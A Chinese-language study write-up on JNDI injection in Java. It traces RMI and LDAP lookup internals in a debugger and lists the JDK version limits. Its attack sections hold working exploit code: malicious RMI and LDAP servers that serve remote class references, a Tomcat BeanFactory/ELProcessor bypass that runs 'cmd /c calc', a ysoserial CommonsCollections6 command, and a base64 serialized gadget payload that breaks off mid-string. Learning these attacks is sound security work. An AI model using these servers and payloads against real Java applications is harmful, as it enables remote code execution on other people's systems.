JNDI注入

JNDI概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口),为开发人员查找和访问各种资源提供了统一的通用接口,用于访问各种命名和目录服务。

JNDI 主要支持的服务协议

  • RMI(远程方法调用): 允许 Java 程序通过 JNDI 查找并调用远程对象。
  • LDAP(轻量级目录访问协议): 用于访问和查询存储在 LDAP 目录中的信息,如用户和配置数据。
  • CORBA(公共对象请求代理体系结构): 一个分布式对象系统的标准,可以通过 JNDI 查找和访问 CORBA 对象。
  • DNS(域名系统): 用于解析域名到 IP 地址的映射。

Naming Service (命名服务)

简单来讲就是将名称绑定到对象,并通过名称查找对象。例如,RMI 将远程对象与名称绑定,客户端可以通过名称查找并调用远程对象。

这其中又有几个概念,了解有助于后续代码理解:

  • Bindings:表示名称与对象的绑定关系。例如,DNS 中域名与 IP 地址的绑定,RMI 中远程对象与名称的绑定,文件系统中文件名与文件的绑定等。
  • Context:上下文,是一组名称到对象的绑定关系的集合。我们可以在某个上下文中查找指定名称的对象。比如,文件系统中的一个目录就是一个上下文,其中的文件和子目录可以看作是子上下文。
  • References:在一个实际的命名服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。

Directory Service (目录服务)

可以简单的理解是命名服务的扩展,不仅提供命名服务的功能,还可以存储关于对象的属性信息。

常见的目录服务有:

  • LDAP(轻量级目录访问协议):可以存储用户信息、配置参数等

ObjectFactory

JNDI 中的一种机制,用于把Naming Service和Directory Service的数据转换为 Java 对象。比如,当 JNDI 查找某个对象时,可能会遇到存储在服务中的数据是某种格式(比如字符串、字节流等),而需要 ObjectFactory 来将其转换为 Java 对象或者基本数据类型。

通常,每个服务提供者(例如 RMI、LDAP)可能有多个 ObjectFactory 实现,它们负责将特定类型的对象数据转换为 Java 对象。

JNDI注入的问题就是出在可远程下载自定义的ObjectFactory类上。

小总结

一句话来讲,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。

其中RMI在前面我们也研究了它的反序列化隐患,JNDI 中也原生支持 RMI 协议,因此 RMI 的反序列化隐患同样会在 JNDI 中存在。(这一部分不会在本文突出,有需求可以去看组长视频)

代码示例

下面是以RMI服务为例的一个JNDI的例子:

在JNDI中提供了绑定和查找的方法:

  • bind:将名称绑定到对象中;
  • lookup:通过名字检索执行的对象;

先定义一个Person类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.Serializable;
import java.rmi.Remote;

public class Person implements Remote, Serializable {
private static final long serialVersionUID = 1L;
private String name;
private String password;

public String getName() {
return name;
}


public String getPassword() {
return password;
}

public void setName(String name) {
this.name = name;
}

public void setPassword(String password) {
this.password = password;
}

public String toString() {
return "name:" + name + " password:" + password;
}
}

Server类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;

public class Server {
public static void initPerson() throws Exception{
//创建一个RMI注册表
LocateRegistry.createRegistry(1099);
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");

//创建一个初始化上下文对象
InitialContext initialContext = new InitialContext();

//实例化person对象
Person p = new Person();
p.setName("Sp4rks");
p.setPassword("PASSWORD!");

//person对象绑定到JNDI服务中,JNDI的名字叫做:person
initialContext.bind("person", p);
}


public static void main(String[] args) throws Exception {
initPerson();
synchronized (Server.class) {
Server.class.wait();
}
}
}

Client类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
public static void findPerson() throws Exception{
// 创建一个初始化上下文对象
InitialContext initialContext = new InitialContext();

//通过lookup查找person对象
Person person = (Person) initialContext.lookup("rmi://localhost:1099/person");

//打印出这个对象
System.out.println(person.toString());
}

public static void main(String[] args) throws Exception {
findPerson();
}
}

可以发现与原生的RMI服务不同之处:

  • 服务端:纯RMI实现中是调用java.rmi包内的bind()或rebind()方法来直接绑定RMI注册表端口的,而JNDI创建的RMI服务中多的部分就是需要设置INITIAL_CONTEXT_FACTORYPROVIDER_URL来指定InitialContext的初始化Factory和Provider的URL地址,换句话说就是初始化配置JNDI设置时需要预先指定其上下文环境如指定为RMI服务,最后再调用javax.naming.InitialContext.bind()来将指定对象绑定到RMI注册表中;
  • 客户端:纯RMI实现中是调用java.rmi包内的lookup()方法来检索绑定在RMI注册表中的对象,而JNDI实现的RMI客户端查询是调用javax.naming.InitialContext.lookup()方法来检索的;

简单地说,纯RMI实现的方式主要是调用java.rmi这个包来实现绑定和检索的,而JNDI实现的RMI服务则是调用javax.naming这个包即应用命名服务来实现的。其中javax.naming.Context接口提供了抽象方法,对不同服务进行调用的时候,会去调用 xxxContext 这个类,比如调用 RMI 服务的时候就是调的 RegistryContext。

JNDI的底层实现

Context初始化(获取工厂类部分)

我们在初始化上下文打一个断点。

image-20250122145546331

会走到javax.naming.InitialContext#init,跟进init函数 ,调用了com.sun.naming.internal.ResourceManager#getInitialEnvironment,这段其实还挺麻烦的,但是也不是特别重要,大概意思就是把我们写的System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");读出来,变成一个hashtable赋值给myProps,然后myProps就有键值对了,我们着重看getDefaultInitCtx();

image-20250122142127476

这里首先通过getInitialContextFactoryBuilder()初始化了一个InitialContextFactoryBuilder类。如果该类为空,则将className设置为INITIAL_CONTEXT_FACTORY属性。这个属性就是我们手动设置的RMI上下文工厂类com.sun.jndi.rmi.registry.RegistryContextFactory

image-20250122142506517

这里通过loadClass()来动态加载我们设置的工厂类并实例化。最终调用的其实是RegistryContextFactory#getInitialContext()方法,通过我们的设置工厂类来初始化上下文Context。

image-20250122143222256

Context初始化(获取服务交互所需资源部分)

现在JNDI知道了我们想要调用何种服务,那么它又是如何知道服务地址以及获取服务的各种资源的呢?接着我们跟到RegistryContextFactory#getInitialContext()中,其中getInitCtxURL(var1)根据我们传入的Hashtable获取初始上下文的url

image-20250122144102192

这里的var1就是myProps也就是我们设置的两个环境变量,跟进URLToContext(),接着在URLToContext()方法中初始化了一个rmiURLContextFactory类,并根据服务路径来获取实例。跟进getObjectInstance

image-20250122144339119

这个类实现了ObjectFactory接口,它会根据不同的输入类型(null、String 或 String[])来创建不同的对象实例。简单来讲就是根据传入的参数创建并返回一个适当的对象实例,我们这里是String,跟进getUsingURL()

image-20250122144443180

新建了一个rmiURLContext,随后调用了他的lookup方法

image-20250122144633337

rmiURLContext没有lookup方法,走到父类com.sun.jndi.toolkit.url.GenericURLContext

image-20250122145110171

当registryContext调用lookup时候会新创建一个RegistryContext并返回, 创建的时候根据java的类加载,会调用代码块

image-20250122154834184

所以在最终初始化的时候获取了一系列RMI通信过程中所需的资源,RegistryImpl_Stubhostport等信息。

image-20250122145147450

JNDI在初始化上下文的时候获取了与服务交互所需的各种资源,所以下一步就是通过获取的资源和服务愉快地进行交互了。

JNDI协议动态转换

在编写服务端的代码时,我们手动设置了属性INITIAL_CONTEXT_FACTORYPROVIDER_URL的值来对Context进行初始化。通过对Context的初始化,JNDI能够识别我们想调用何种服务,以及服务的路径。

但实际上,在 Context#lookup()方法的参数中,用户可以指定自己的查找协议。JNDI会通过用户的输入来动态的识别用户要调用的服务以及路径。来看下面的例子

image-20250122165147831

可以看到,我们并没有设置相应的环境变量来初始化Context,但是JNDI仍旧通过lookup()的参数识别出了我们要调用的服务以及路径,这就是JNDI的动态协议转换。

动态协议转换的底层实现

lookup()打个断点开始跟进

image-20250122165409571

注意到其实我们不管调用的是lookup、bind或者是其他initalContext中的方法,都会调用getURLOrDefaultInitCtx()方法进行检查。

image-20250122165504374

跟进getURLOrDefaultInitCtx()方法,会通过getURLScheme()方法来获取通信协议,比如这里获取到的是rmi协议

image-20250122165749936

接着跟据获取到的协议,通过NamingManager#getURLContext()来调用getURLObject()方法,看名字也知道这是获取RUL对象

image-20250122165848551

最终在getURLObject()方法中,根据defaultPkgPrefix属性动态生成Factory

image-20250122170037396

通过动态协议转换,我们可以仅通过一串特定字符串就可以指定JNDI调用何种服务,十分方便。但是方便是会付出一定代价的。对于一个系统来讲,往往越方便,就越不安全。

假如我们能够控制string字段,那么就可以搭建恶意服务,并控制JNDI接口访问该恶意,于是将导致恶意的远程class文件加载,从而导致远程代码执行。这种攻击手法其实就是JNDI注入,它和RMI服务攻击手法中的”远程加载CodeBase”较为类似,都是通过一些远程通信来引入恶意的class文件,进而导致代码执行。 –Java安全学习——JNDI注入

Reference类

Reference 类表示对命名或目录服务之外的对象的引用。(类似于 RMI 中的 codebase 功能)

为了将 Object 对象存储在命名或目录服务中,Java 提供了Naming Reference(命名引用)功能。对象可以通过绑定 Reference 来存储在命名或目录服务下,如 RMI、LDAP 等。

在使用 Reference 时,我们可以直接将对象写入构造方法中,当该对象被调用时,相关的方法将被触发。

Reference 类的常用构造函数如下:

1
2
3
4
// className 为远程加载时所使用的类名,如果本地找不到该类名,则会去远程加载
// factory 为工厂类名
// factoryLocation 为工厂类加载的地址,可以是 file://、ftp://、http:// 等协议
Reference(String className, String factory, String factoryLocation)

在 RMI 中,远程加载的对象需要继承 UnicastRemoteObject 类,所以,我们需要使用 ReferenceWrapper 类来将 Reference 类或其子类对象远程包装为 Remote 类,以便使其能够被远程访问。

JNDI注入

通过以上实例可以清晰的看到看到,如果lookup()函数的访问地址参数控制不当,则有可能导致加载远程恶意类。

JNDI接口可以调用多个含有远程功能的服务,所以我们的攻击方式也多种多样。但流程大同小异,如下图所示

Reference-1-1024x492

JNDI注入版本号限制总结

要想成功利用JNDI注入漏洞,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。

这里将所有不同版本JDK的防御都列出来:

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191、11.0.1之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

由于JNDI 注入动态加载的原理是使用 Reference 引用 ObjectFactory 类。其内部机制通过 URLClassLoader 加载类文件,因此不受 java.rmi.server.useCodebaseOnly=false属性的限制。但是,不可避免地会受到以下配置项的限制:
com.sun.jndi.rmi.object.trustURLCodebase(禁止 RMI 和 CORBA 协议使用远程 codebase)com.sun.jndi.ldap.object.trustURLCodebase(禁止 LDAP 协议使用远程 codebase)

JNDI-RMI利用方式

所以综上JNDI-RMI 注入方式有:

  • codebase 利用:JDK 6u141、7u131、8u121之前,通过设置 codebase 属性,利用本地 Class Factory 作为 Reference Factory 来加载远程类文件。

我当前的JDK版本为8u65,符合codebase利用方式版本,服务端换为远程引用的写法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;


public class Server {
public static void initPerson() throws Exception {
//创建一个RMI注册表
LocateRegistry.createRegistry(1099);
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");

//创建一个初始化上下文对象
InitialContext initialContext = new InitialContext();

//实例化person对象
Person p = new Person();
p.setName("Sp4rks");
p.setPassword("PASSWORD!");

//person对象绑定到JNDI服务中,JNDI的名字叫做:person
//initialContext.bind("person", p);


Reference refObj = new Reference("TestRef","TestRef", "http://localhost:8888/");
initialContext.bind("rmi://localhost:1099/person", refObj);

}


public static void main(String[] args) throws Exception {
initPerson();
synchronized (Server.class) {
Server.class.wait();
}
}
}

同时远程放了一个恶意的class文件,并开启了http服务

image-20250205180203714

image-20250123171554164

有些文章在写恶意类的时候自己加上了UnicastRemoteObject 实际上是不必要的,我们在服务端bind下一个断点,会走到com.sun.jndi.rmi.registry.RegistryContext#bind(javax.naming.Name, java.lang.Object)

image-20250123173529228

其中会调用encodeObject()方法把Reference对象包装成ReferenceWrapper对象返回。

image-20250123173554667

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
public static void findPerson() throws Exception{
// 创建一个初始化上下文对象
InitialContext initialContext = new InitialContext();

//通过lookup查找person对象
Person person = (Person) initialContext.lookup("rmi://localhost:1099/person");

//打印出这个对象
System.out.println(person.toString());
}

public static void main(String[] args) throws Exception {
findPerson();
}
}

利用成果

image-20250123171919657

我们可以看一下流程,在客户端打上断点

image-20250123173920426

又回到熟悉的getURLOrDefaultInitCtx

image-20250123174522119

一路跟lookup,跟到com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name),发现这里decodeObject,因为刚刚服务端有一个encodeObject,跟进去

image-20250123174705684

只要是继承了RemoteReference类,就会调用getObjectInstance方法继续往下处理

image-20250123174943231

可以看到这里是从引用的变量中获取工厂,调用了getObjectFactoryFromReference方法 ,继续跟进

image-20250123175105524

这里就开始类加载了,首先会在本地加载,我的类是TestRef,这肯定是没有这个类的,然后利用codebase去找

image-20250123175706243

跟进下发现最后会调用URLClasserloader去远程加载,相当于就是会去在我们的路径下去找我们的恶意类

image-20250123175817342

并且后面有实例化的点,所以只要一执行完这个代码就会弹计算器了

image-20250123180357714

JNDI-LDAP利用方式

JNDI-LDAP注入方式有:

  • codebase 利用:JDK 6u211、7u201、8u191、JDK 11.0.1之前,通过 LDAP 协议加载远程类文件。
  • serialize 利用(可以绕过高版本限制,放在后面详细写):序列化对象注入:通过将恶意序列化对象注入到 LDAP 服务器,当目标应用查询时会反序列化并执行恶意代码;

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,它不是JAVA独有的,是一种通用的东西,运行在TCP/IP堆栈之上。我们可以尝试使用LDAP服务来存储Java对象,如果我们此时能够控制JNDI去访问存储在LDAP中的Java恶意对象,那么就有可能达到攻击的目的。

Java对象在LDAP目录中也有多种存储形式

  • Java序列化
  • JNDI Reference
  • Marshalled对象
  • Remote Location (已弃用)

LDAP可以为存储的Java对象指定多种属性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData Java 序列化数据

我当前的JDK版本为8u141,需要导入unboundid-ldapsdk.jar包伪造LDAP服务:

1
2
3
4
5
<dependency>  
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.4</version>
</dependency>

Ldap服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
private static final String DEFAULT_URL = "http://127.0.0.1:8888/#TestRef";
private static final int DEFAULT_PORT = 1234;

public static void main(String[] args) {
String url = DEFAULT_URL;
int port = DEFAULT_PORT;

try {
InMemoryDirectoryServerConfig config = createDirectoryServerConfig(LDAP_BASE, port);
// 为目录服务器添加操作拦截器,拦截 LDAP 操作并返回恶意的 RCE 引用
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
// 创建一个目录服务器实例
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
System.err.println("Failed to start LDAP server: " + e.getMessage());
e.printStackTrace();
}
}

// 创建目录服务器配置的方法
private static InMemoryDirectoryServerConfig createDirectoryServerConfig(String ldapBase, int port) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(ldapBase);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));
return config;
}

// 自定义操作拦截器类,用于拦截 LDAP 操作并返回恶意的 RCE 引用
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private final URL codebase;

public OperationInterceptor(URL cb) {
this.codebase = cb;
}

// 处理搜索请求(当有搜索请求时调用此方法)
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);
try {
// 发送查询结果(这里发送一个 LDAP 引用指向恶意的 URL)
sendResult(result, base, entry);
} catch (Exception e) {
System.err.println("Failed to send search result: " + e.getMessage());
e.printStackTrace();
}
}

//返回一个 LDAP 引用
private void sendResult(InMemoryInterceptedSearchResult result, String base, Entry entry) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

// 设置条目的属性,模拟一个恶意的 JNDI 引用
entry.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
//恶意Ref类地址
entry.addAttribute("javaCodeBase", cbstring);
//javaNamingReference是协议层面约定的东西,照着这样写就行
entry.addAttribute("objectClass", "javaNamingReference");
entry.addAttribute("javaFactory", this.codebase.getRef());

// 发送查询结果,返回这个 LDAP 引用条目
result.sendSearchEntry(entry);
// 设置查询结果为成功
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

远程恶意class文件

image-20250123171554164

客户端

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JndiLdapClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
Person person = (Person) initialContext.lookup("ldap://localhost:1234/TestRef");
System.out.println(person);
}
}

利用成果

image-20250208104039847

一样的在客户端lookup方法打断点,路上很多简单赋值我们不看,一路直接跟lookup方法最后调用到c_lookup方法中,在这个方法底下会去调用decodeObject方法将我们传入的ldap对象

image-20250209140530244

跟进decodeObject方法 ,发现会根据LDAP查询的结果来进行不同方法的调用,因为LDAP中会有能够存储很多值比如序列化,引用类 等 ,而我们传入的肯定是引用类于是就走到了引用类的判断方法中

image-20250209140556219

这个方法其实大致了解下即可,就是个去解析我们的Reference引用对象的

我们直接看将返回的接口做了什么即可,最后在\rt.jar!\com\sun\jndi\ldap\LdapCtx.java将返回结果传入了DirectoryManager.getObjectInstance这个方法

image-20250209140720484

根据refinfo去找那个引用对象,后面代码就是跟RMI一模一样了都是去本地找类找不到用URLClassLoader去远程加载类了

image-20250209140933486


绕过高版本JDK(8u191+)限制

8u191之后,利用codebase加载ref的方法就失效了,trustURLcodebase默认为false

image-20250209213922326

根据这个我们发现,代码修复的是远程加载,但是本地加载并没有什么限制

所以现在公开常用的方法是:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令
  2. LDAP可以存储对象的信息,利用LDAP返回一个恶意的序列化对象,JNDI中依然会对该对象进行反序列化操作,利用反序列化Gadget完成攻击

当然这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

利用本地恶意Class作为Reference Factory

这里我使用的JDK版本为JDK231,同时需要加上这两个依赖

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.71</version>
</dependency>
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.el</artifactId>
<version>3.0.0</version>
</dependency>
</dependencies>

接着上面的代码调试,我们发现获取到ref后会调用getObjectFactoryFromReference()方法处理,factory不为空会调用getObjectInstance()方法

image-20250210163008580

getObjectFactoryFromReference()这段代码的作用是查找并实例化我们引用对象的工厂,返回的是一个ObjectFactory

image-20250210163027548

那么现在思路就有了,如果我们去找的是本地的工厂类,并且这此类实现了ObjectFactory接口并且他还有getObjectInstance方法,而getObjectInstance这个方法还有危险的操作,那么就可以进行一个利用了。

反正最终的结果肯定是找到了

image-20250211122910110

通过观察这类我们发现,该类的getObjectInstance()函数中通过反射的方式实例化Reference所指向的任意Bean Class,这个Bean Class的类名、属性、属性值,全都来自于Reference对象,是可控的,并且会对所有的Setter方法反射调用赋值。

image-20250211124951170

Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class BypassJndiRMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd', '/c', 'calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

Client

1
2
3
4
5
6
public class Client {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://localhost:1099/Object");
}
}

利用LDAP返回序列化数据,触发本地Gadget

LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象。如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化咯多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击。

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

使用ysoserial生成序列化字符串

1
java -jar ysoserial-all.jar CommonsCollections6 'calc' | base64

创建一个恶意的LDAP服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;

public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
private static final String DEFAULT_URL = "http://127.0.0.1:8888/#TestRef";
private static final int DEFAULT_PORT = 6666;

public static void main(String[] args) {
String url = DEFAULT_URL;
int port = DEFAULT_PORT;

try {
InMemoryDirectoryServerConfig config = createDirectoryServerConfig(LDAP_BASE, port);
// 为目录服务器添加操作拦截器,拦截 LDAP 操作并返回恶意的 RCE 引用
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
// 创建一个目录服务器实例
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
System.err.println("Failed to start LDAP server: " + e.getMessage());
e.printStackTrace();
}
}

// 创建目录服务器配置的方法
private static InMemoryDirectoryServerConfig createDirectoryServerConfig(String ldapBase, int port) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(ldapBase);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));
return config;
}

// 自定义操作拦截器类,用于拦截 LDAP 操作并返回恶意的 RCE 引用
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private final URL codebase;

public OperationInterceptor(URL cb) {
this.codebase = cb;
}

// 处理搜索请求(当有搜索请求时调用此方法)
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);
try {
// 发送查询结果(这里发送一个 LDAP 引用指向恶意的 URL)
sendResult(result, base, entry);
} catch (Exception e) {
System.err.println("Failed to send search result: " + e.getMessage());
e.printStackTrace();
}
}

//返回一个 LDAP 引用
private void sendResult(InMemoryInterceptedSearchResult result, String base, Entry entry) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

// 设置条目的属性,模拟一个恶意的 JNDI 引用
entry.addAttribute("javaClassName", "Exploit");
//添加javaSerializedData属性,添加恶意的序列化数据
entry.addAttribute("javaSerializedData",Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDu